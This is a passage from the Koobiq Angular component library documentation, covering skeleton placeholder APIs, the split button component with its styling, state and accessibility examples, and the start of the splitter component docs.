- `[contentClass]`: `string | string[] | Set<string>` — Classes of the control and the hint, such as the `contentClass` of the `kbq-form-field`.

##### KbqSkeletonGroup (component)

Row of placeholders of one kind, such as the tags of a tag list.

```ts
@Component({ selector: 'kbq-skeleton-group' })
class KbqSkeletonGroup {
    readonly preset = input.required<KbqSkeletonGroupPreset>();
    readonly count = input<number>(this.configuration.groupCount);
}
```

- `[preset]`: `KbqSkeletonGroupPreset` — Placeholder of every item of the row.
- `[count]`: `number` — Number of placeholders, `groupCount` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.

##### KbqSkeletonIcon (component)

Placeholder of an icon or an icon button whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-icon' })
class KbqSkeletonIcon {}
```

##### KbqSkeletonLink (component)

Placeholder of a link whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-link' })
class KbqSkeletonLink {}
```

##### KbqSkeletonTable (component)

Placeholder of a table whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-table' })
class KbqSkeletonTable {
    readonly rows = input<number>(this.configuration.tableRows);
    readonly columns = input<readonly string[]>(
        equalColumns(this.configuration.tableColumns)
    );
    readonly header = input<boolean>(true);
    readonly selectable = input<boolean>(false);
    readonly pinnedColumns = input<number>(0);
}
```

- `[rows]`: `number` — Number of rows below the header, `tableRows` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.
- `[columns]`: `readonly string[]` — Number of columns of equal width, `tableColumns` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default, or the
  width of every column as a CSS grid track, such as `160px`, `1fr` or `auto`, for a table whose columns are known.
- `[header]`: `boolean` — Whether the table has a header row.
- `[selectable]`: `boolean` — Whether every row starts with a checkbox, as in a grid whose rows can be selected.
- `[pinnedColumns]`: `number` — Number of columns pinned to the start and set apart from the rest by a line, as in a grid.

##### KbqSkeletonTabs (component)

Placeholder of tabs whose data has not loaded yet: the first tab stands out as the selected one. The content below
or beside them is text, or the placeholders projected into the component.

```ts
@Component({ selector: 'kbq-skeleton-tabs' })
class KbqSkeletonTabs {
    readonly vertical = input<boolean>(false);
    readonly count = input<number>(this.configuration.tabsCount);
    readonly contentLines = input<number>(
        this.configuration.tabsContentLines
    );
}
```

- `[vertical]`: `boolean` — Whether the tabs are stacked beside the content, as in a vertical `kbq-tab-group`.
- `[count]`: `number` — Number of tabs, `tabsCount` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.
- `[contentLines]`: `number` — Number of lines of the text that stands for the content when nothing is projected, `tabsContentLines` of
  `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.

##### KbqSkeletonTag (component)

Placeholder of a tag whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-tag' })
class KbqSkeletonTag {}
```

##### KbqSkeletonTree (component)

Placeholder of a tree whose nodes have not loaded yet, with the second node expanded.

```ts
@Component({ selector: 'kbq-skeleton-tree' })
class KbqSkeletonTree {
    readonly rows = input<number>(this.configuration.treeRows);
    readonly children = input<number>(this.configuration.treeChildren);
}
```

- `[rows]`: `number` — Number of top-level nodes, `treeRows` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.
- `[children]`: `number` — Number of children of the expanded second node, `treeChildren` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by
  default.

##### KbqSkeletonTypography (component)

Placeholder of text that has not loaded yet: lines as tall as the lines of its typography level, a line of body text
by default. A single line, such as a heading, is shorter than the lines of a paragraph, which differ in length.

```ts
@Component({ selector: 'kbq-skeleton-typography' })
class KbqSkeletonTypography {
    readonly level = input<string>('text-normal');
    readonly lines = input<number>(this.configuration.typographyLines);
}
```

- `[level]`: `string` — Typography level of the text, the name of its class without `kbq-`, such as `title` or `caps-compact`.
- `[lines]`: `number` — Number of lines, `typographyLines` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.

#### Directives

##### KbqSkeleton (directive)

Directive representing a skeleton placeholder.

Paints the host, children included, as one flat shape of the host's own outline with a wave running across it,
and makes the host inert: it leaves the tab order and the accessibility tree until the skeleton is disabled.

```ts
@Directive({ selector: 'kbq-skeleton, [kbqSkeleton]', exportAs: 'kbqSkeleton' })
class KbqSkeleton {
    readonly enabled = input<boolean>(true, { alias: 'kbqSkeleton' });
}
```

- `[kbqSkeleton]`: `boolean` — Whether the skeleton is enabled.

#### Types

##### KbqSkeletonCheckableControl (type)

Control a checkable placeholder stands in for.

```ts
type KbqSkeletonCheckableControl = 'checkbox' | 'radio' | 'toggle';
```

##### KbqSkeletonFormFieldControl (type)

Control a form field placeholder stands in for.

```ts
type KbqSkeletonFormFieldControl = 'input' | 'textarea';
```

##### KbqSkeletonGroupPreset (type)

Placeholder a group repeats in a row.

```ts
type KbqSkeletonGroupPreset = 'button' | 'badge' | 'tag' | 'icon' | 'link';
```

##### KbqSkeletonPresetsConfiguration (interface)

Numbers of items the skeleton presets show until the amount of data is known.

```ts
interface KbqSkeletonPresetsConfiguration {
    typographyLines: number;
    dlRows: number;
    tableRows: number;
    tableColumns: number;
    groupCount: number;
    accordionRows: number;
    checkableRows: number;
    tabsCount: number;
    tabsContentLines: number;
    treeRows: number;
    treeChildren: number;
}
```

- `typographyLines`: `number` — Number of lines of `kbq-skeleton-typography`.
- `dlRows`: `number` — Number of rows of `kbq-skeleton-dl`.
- `tableRows`: `number` — Number of rows of `kbq-skeleton-table`.
- `tableColumns`: `number` — Number of columns of `kbq-skeleton-table`.
- `groupCount`: `number` — Number of placeholders of `kbq-skeleton-group`.
- `accordionRows`: `number` — Number of collapsed items of `kbq-skeleton-accordion`.
- `checkableRows`: `number` — Number of controls of `kbq-skeleton-checkable`.
- `tabsCount`: `number` — Number of tabs of `kbq-skeleton-tabs`.
- `tabsContentLines`: `number` — Number of lines of the text in the content of `kbq-skeleton-tabs`.
- `treeRows`: `number` — Number of top-level nodes of `kbq-skeleton-tree`.
- `treeChildren`: `number` — Number of children of the expanded node of `kbq-skeleton-tree`.

#### Constants

##### KBQ_SKELETON_PRESETS_CONFIGURATION (const)

Numbers of items of the skeleton presets.

```ts
const KBQ_SKELETON_PRESETS_CONFIGURATION: InjectionToken<KbqSkeletonPresetsConfiguration>;
```

##### kbqSkeletonPresetsConfigurationProvider (const)

Utility provider for `KBQ_SKELETON_PRESETS_CONFIGURATION`, for an application or a part of it. The keys it leaves
out keep the values of the closest provider above.

```ts
const kbqSkeletonPresetsConfigurationProvider: (
    configuration: Partial<KbqSkeletonPresetsConfiguration>
) => Provider;
```

## Split button

- Entry point: `@koobiq/components/split-button`
- NgModule: `KbqSplitButtonModule`
- Page: https://koobiq.io/en/components/split-button/overview

### Overview

A split button combines several related actions into a single control. The primary action is immediately accessible, while additional options are hidden in a dropdown menu.

**Example: split-button** (`split-button-overview`)

```ts split-button-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-overview-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <kbq-split-button>
            <button kbq-button>Split Button</button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonOverviewExample {}
```

#### Style

A split button follows the same visual variants as a regular [button](https://koobiq.io/en/components/button.md).

**Example: split-button-styles** (`split-button-styles`)

```ts split-button-styles-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-styles-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <div>
            <div class="example-split-button-styles__header">Filled Contrast</div>
            <kbq-split-button [color]="componentColors.Contrast">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Filled Fade Contrast</div>
            <kbq-split-button>
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Outline Fade Theme</div>
            <kbq-split-button [color]="componentColors.ThemeFade" [kbqStyle]="buttonStyles.Outline">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Outline Fade Contrast</div>
            <kbq-split-button [color]="componentColors.ContrastFade" [kbqStyle]="buttonStyles.Outline">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Transparent Theme</div>
            <kbq-split-button [color]="componentColors.Theme" [kbqStyle]="buttonStyles.Transparent">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Transparent Contrast</div>
            <kbq-split-button [color]="componentColors.Contrast" [kbqStyle]="buttonStyles.Transparent">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            grid-template-rows: repeat(3, 1fr);

            grid-column-gap: 24px;
            grid-row-gap: 16px;

            margin: auto;
            width: 320px;
        }

        .example-split-button-styles__header {
            margin-bottom: var(--kbq-size-xs);

            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonStylesExample {
    buttonStyles = KbqButtonStyles;
    componentColors = KbqComponentColors;
}
```

#### Content

The primary action can be labeled with a caption and illustrated with an icon. In the variant without a caption, the menu button becomes narrower.

**Example: split-button-content** (`split-button-content`)

```ts split-button-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-content-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <kbq-split-button>
            <button kbq-button>
                <i kbqButtonPrefix kbq-icon="kbq-plus_16"></i>
                Split Button
            </button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-split-button>
            <button kbq-button>Split Button</button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-split-button>
            <button kbq-button aria-label="Add">
                <i kbq-icon="kbq-plus_16"></i>
            </button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;

            gap: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonContentExample {}
```

Long text in the primary button does not wrap to a new line — it is truncated with an ellipsis. Avoid buttons with long text.

**Example: split-button-text-overflow** (`split-button-text-overflow`)

```ts split-button-text-overflow-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'split-button-text-overflow-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqTitleModule
    ],
    template: `
        <kbq-split-button>
            <button kbq-button>
                <i kbq-icon="kbq-plus_16"></i>
                <span kbq-title class="kbq-truncate-line">
                    Save engineering time with unified payments functionality. We obsess over the maze of gateways,
                    payments rails, and financial institutions that make up the global economic landscape so that your
                    teams can build what you need on one platform.
                </span>
            </button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonTextOverflowExample {}
```

#### Disabled state

Either the primary or secondary action can be disabled individually, or the entire group can be disabled at once.

**Example: split-button-disabled-state** (`split-button-disabled-state`)

```ts split-button-disabled-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-disabled-state-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <div>
            <div class="example-split-button-styles__header">Primary Disabled</div>
            <kbq-split-button>
                <button kbq-button [disabled]="true">
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Secondary Disabled</div>
            <kbq-split-button>
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [disabled]="true" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Сompletely Disabled</div>
            <kbq-split-button [disabled]="true">
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;

            gap: var(--kbq-size-l);
        }

        .example-split-button-styles__header {
            margin-bottom: var(--kbq-size-xs);

            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonDisabledStateExample {}
```

#### In progress

The Progress state can be combined with any other state (Normal, Disabled, Active). Like the Disabled state, it can be applied to the entire button group or to an individual element.

**Example: split-button-progress-state** (`split-button-progress-state`)

```ts split-button-progress-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-progress-state-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <div>
            <div class="example-split-button-styles__header">Primary in Progress</div>
            <kbq-split-button>
                <button kbq-button [class.kbq-progress]="true">
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Secondary in Progress</div>
            <kbq-split-button>
                <button kbq-button>
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button
                    kbq-button
                    aria-label="More options"
                    [class.kbq-progress]="true"
                    [kbqDropdownTriggerFor]="dropdown"
                >
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <div>
            <div class="example-split-button-styles__header">Completely in Progress</div>
            <kbq-split-button>
                <button kbq-button [class.kbq-progress]="true">
                    <i kbq-icon="kbq-plus_16"></i>
                    Split Button
                </button>
                <button
                    kbq-button
                    aria-label="More options"
                    [kbqDropdownTriggerFor]="dropdown"
                    [class.kbq-progress]="true"
                >
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>
        </div>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;

            gap: var(--kbq-size-l);
        }

        .example-split-button-styles__header {
            margin-bottom: var(--kbq-size-xs);

            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonProgressStateExample {}
```

#### Menu width matching the button

Menu positioning is configured the same way as in the [Dropdown](https://koobiq.io/en/components/dropdown.md) component. When the menu width is approximately equal to the split button's size, it is better to align them for visual consistency.

**Example: split-button-menu-width** (`split-button-menu-width`)

```ts split-button-menu-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSplitButtonModule } from '@koobiq/components/split-button';

@Component({
    selector: 'split-button-menu-width-example',
    imports: [
        KbqSplitButtonModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <kbq-split-button [panelAutoWidth]="true">
            <button kbq-button>Split Button</button>
            <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>
        </kbq-split-button>

        <kbq-dropdown #dropdown="kbqDropdown" [panelWidth]="'auto'" [panelMinWidth]="0">
            <button kbq-dropdown-item>Extra Action 1</button>
            <button kbq-dropdown-item>Extra Action 2</button>
            <button kbq-dropdown-item>Extra Action 3</button>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 120px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitButtonMenuWidthExample {}
```

#### Accessibility

- **Grouping.** The host is announced as a `role="group"`: it ties the two actions together while each button stays a separate tab stop. When a page holds several split buttons, name the group — `<kbq-split-button aria-label="Save document">`.
- **Menu trigger.** The trigger is an icon-only button, so it carries no text and no accessible name of its own. Set one explicitly: `<button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="menu">`.
- **Open state.** The trigger carries `aria-expanded`, so assistive technology announces whether the menu is currently open.
- **Keyboard.** `Tab` reaches the primary button and then the trigger, `Enter` and `Space` activate the focused one. On the trigger `ArrowDown` also opens the menu, and `Escape` closes it and returns focus to the trigger — the same model as in [Dropdown](https://koobiq.io/en/components/dropdown.md).
- **Disabled state.** A disabled button leaves the tab order and is announced as disabled: through the native `disabled` attribute on a `<button>` host, and through `aria-disabled` on hosts without native support, such as `<a>`.

#### Recommendations

A split button is often confused with the more common [button menu](https://koobiq.io/en/components/dropdown.md), which consists of a single element that opens a dropdown list of commands. Use a split button only in exceptional cases:

- **When there is a clear and frequently used primary action.** A split button is ideal when in 80% of cases the user needs one action (for example, "Save"), but occasionally needs to choose a different option.
- **The menu actions are homogeneous and closely related to the primary action.** All items in the dropdown list must be variations or refinements of the primary action.

### API

#### Components

##### KbqSplitButton (component)

```ts
@Component({ selector: 'kbq-split-button, [kbq-split-button]' })
class KbqSplitButton extends KbqColorDirective<KbqButtonColor> {
    readonly panelAutoWidth = input<boolean>(false);
    kbqStyle = input<KbqButtonStyleInput | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    get firstDisabled(): boolean;
    get secondDisabled(): boolean;
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[panelAutoWidth]`: `boolean` — Sets the width of the dropdown to the width of the trigger. Default is false
- `[kbqStyle]`: `KbqButtonStyleInput | null | undefined` — Visual style of the split button, propagated to every nested button. A button that sets its own
  `kbqStyle` keeps it.

  Reads back as the resulting host class rather than the value that was set, because the host
  `[class]` binding is what consumes it.
- `[disabled]`: `boolean | undefined` — Whether the split button is disabled. Disabling it disables every nested button; re-enabling it
  leaves buttons that are disabled through their own input untouched.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `firstDisabled`: `boolean` — Whether the leading button is disabled.
- `secondDisabled`: `boolean` — Whether the trailing button is disabled. Stays `false` while the split button holds one button.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

## Splitter

- Entry point: `@koobiq/components/splitter`
- NgModule: `KbqSplitterModule`
- Page: https://koobiq.io/en/components/splitter/overview

### Overview

Splitter resizes neighboring panels by dragging the separator.

Only panels placed directly inside `kbq-splitter`, without a wrapper element, participate in the layout.

**Example: Splitter overview** (`splitter-overview`)

```ts splitter-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-overview-example',
    imports: [KbqSplitter, KbqSplitterPanel],
    template: `
        <kbq-splitter class="example-splitter">
            <kbq-splitter-panel minSize="100">
                <div class="example-splitter-panel-content">Panel 1</div>
            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="100">
                <div class="example-splitter-panel-content">Panel 2</div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }

        .example-splitter {
            height: 200px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            flex: 1;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterOverviewExample {}
```

#### Appearance

The `appearance` input sets how the separator is drawn:

| Variant       | Description                                                                            |
| ------------- | -------------------------------------------------------------------------------------- |
| `divider`     | Dividing line. Used by default                                                         |
| `transparent` | Invisible separator. Use it when panels differ by background or have their own borders |
| `handle`      | Drag handle at the center of the boundary                                              |

`kbqSplitterOptionsProvider` sets the default appearance for the whole application or for one injector.

**Example: Splitter appearance** (`splitter-appearance`)

```ts splitter-appearance-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqSplitter, KbqSplitterAppearance, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-appearance-example',
    imports: [KbqSplitter, KbqSplitterPanel, KbqButtonToggleModule, FormsModule],
    template: `
        <kbq-button-toggle-group class="example-toggle-group" [(ngModel)]="appearance">
            @for (appearance of appearances; track appearance) {
                <kbq-button-toggle [value]="appearance">{{ appearance }}</kbq-button-toggle>
            }
        </kbq-button-toggle-group>

        <kbq-splitter class="example-splitter" [appearance]="appearance()">
            <kbq-splitter-panel minSize="125">
                <div class="example-splitter-panel-content layout-margin-right-s">Panel 1</div>
            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="125">
                <div class="example-splitter-panel-content layout-margin-left-s">Panel 2</div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example-toggle-group {
            align-self: center;
        }

        .example-splitter {
            height: 200px;
        }

        .example-splitter-panel-content {
            flex: 1;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
            background-color: var(--kbq-background-bg-secondary);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterAppearanceExample {
    protected readonly appearances: KbqSplitterAppearance[] = ['divider', 'transparent', 'handle'];
    protected readonly appearance = model<KbqSplitterAppearance>('handle');
}
```

#### Orientation

The `orientation` input sets the layout direction: `horizontal` places panels in a row, `vertical` in a column.

**Example: Splitter orientation** (`splitter-orientation`)

```ts splitter-orientation-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqSplitter, KbqSplitterOrientation, KbqSplitterPanel } from '@koobiq/components/splitter';

@Component({
    selector: 'splitter-orientation-example',
    imports: [KbqSplitter, KbqSplitterPanel, KbqButtonToggleModule, FormsModule],
    template: `
        <kbq-button-toggle-group class="example-toggle-group" [(ngModel)]="orientation">
            @for (orientation of orientations; track orientation) {
                <kbq-button-toggle [value]="orientation">{{ orientation }}</kbq-button-toggle>
            }
        </kbq-button-toggle-group>

        <kbq-splitter class="example-splitter" [orientation]="orientation()">
            <kbq-splitter-panel minSize="70">
                <div class="example-splitter-panel-content">Panel 1</div>
            </kbq-splitter-panel>
            <kbq-splitter-panel minSize="70">
                <div class="example-splitter-panel-content">Panel 2</div>
            </kbq-splitter-panel>
        </kbq-splitter>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example-toggle-group {
            align-self: center;
        }

        .example-splitter {
            height: 300px;
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
        }

        .example-splitter-panel-content {
            flex: 1;
            align-content: center;
            text-align: center;
            user-select: none;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SplitterOrientationExample {
    protected readonly orientations: KbqSplitterOrientation[] = ['horizontal', 'vertical'];
    protected readonly orientation = model<KbqSplitterOrientation>('vertical');
}
```

#### Disabling

The `disabled` input forbids resizing: the separators stop reacting to the pointer and the keyboard, leave the tab order and show the plain cursor.

**Example: Splitter disabled** (`splitter-disabled`)

```ts splitter-disabled-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqSplitter, KbqSplitterPanel } from '@koobiq/components/splitter';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'splitter-disabled-example',
    imports: [KbqSplitter, KbqSplitterPanel, KbqToggleModule],
    template: `
        <kbq-toggle [checked]="disabled()" (change)="disabled.set($event.checked)">disabled</kbq-toggle>

        <kbq-splitter class="example-splitter" [disabled]="disabled()">
            <kbq-splitter-panel minSize="100">
                <div class="example-splitter-panel-content">Panel 1</div>
